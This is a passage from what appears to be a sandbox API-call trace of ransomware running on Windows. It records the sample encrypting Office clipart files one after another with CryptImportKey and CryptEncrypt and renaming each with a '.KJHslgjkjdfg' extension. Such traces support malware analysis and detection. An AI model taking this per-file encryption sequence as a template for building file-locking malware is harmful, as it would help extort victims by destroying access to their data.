dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.111] SetEndOfFile (hFile=0x114) returned 1 [0183.113] GetProcessHeap () returned 0x2a0000 [0183.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.113] GetProcessHeap () returned 0x2a0000 [0183.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.kjhslgjkjdfg")) returned 1 [0183.115] CloseHandle (hObject=0x114) returned 1 [0183.115] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0183.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.116] GetProcessHeap () returned 0x2a0000 [0183.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.116] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.116] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0183.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.127] GetProcessHeap () returned 0x2a0000 [0183.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.127] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.127] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.127] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.128] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x28be, lpOverlapped=0x0) returned 1 [0183.131] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28c0) returned 1 [0183.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.131] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x28c0, lpOverlapped=0x0) returned 1 [0183.131] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.131] SetEndOfFile (hFile=0x114) returned 1 [0183.133] GetProcessHeap () returned 0x2a0000 [0183.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.133] GetProcessHeap () returned 0x2a0000 [0183.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.kjhslgjkjdfg")) returned 1 [0183.135] CloseHandle (hObject=0x114) returned 1 [0183.135] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0183.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.137] GetProcessHeap () returned 0x2a0000 [0183.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.137] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.137] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.140] GetProcessHeap () returned 0x2a0000 [0183.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.140] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.140] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.140] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.140] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x24d7, lpOverlapped=0x0) returned 1 [0183.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24e0, dwBufLen=0x24e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24e0) returned 1 [0183.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.142] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x24e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x24e0, lpOverlapped=0x0) returned 1 [0183.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.142] SetEndOfFile (hFile=0x114) returned 1 [0183.144] GetProcessHeap () returned 0x2a0000 [0183.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.144] GetProcessHeap () returned 0x2a0000 [0183.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.kjhslgjkjdfg")) returned 1 [0183.146] CloseHandle (hObject=0x114) returned 1 [0183.146] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0183.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.147] GetProcessHeap () returned 0x2a0000 [0183.147] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.147] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.150] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.150] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.150] GetProcessHeap () returned 0x2a0000 [0183.150] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.150] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.150] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.150] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.150] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.150] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.151] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.151] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ff8, lpOverlapped=0x0) returned 1 [0183.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3000, dwBufLen=0x3000 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3000) returned 1 [0183.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3000, lpOverlapped=0x0) returned 1 [0183.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.153] SetEndOfFile (hFile=0x114) returned 1 [0183.156] GetProcessHeap () returned 0x2a0000 [0183.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.156] GetProcessHeap () returned 0x2a0000 [0183.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.kjhslgjkjdfg")) returned 1 [0183.158] CloseHandle (hObject=0x114) returned 1 [0183.158] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0183.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.159] GetProcessHeap () returned 0x2a0000 [0183.159] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.159] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.159] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0183.161] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.161] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.161] GetProcessHeap () returned 0x2a0000 [0183.161] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.161] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.161] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.161] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.161] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.161] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.161] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.161] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.161] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.162] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e7e, lpOverlapped=0x0) returned 1 [0183.163] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80) returned 1 [0183.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.163] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e80, lpOverlapped=0x0) returned 1 [0183.163] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.163] SetEndOfFile (hFile=0x114) returned 1 [0183.166] GetProcessHeap () returned 0x2a0000 [0183.166] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.166] GetProcessHeap () returned 0x2a0000 [0183.166] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.kjhslgjkjdfg")) returned 1 [0183.168] CloseHandle (hObject=0x114) returned 1 [0183.168] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0183.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 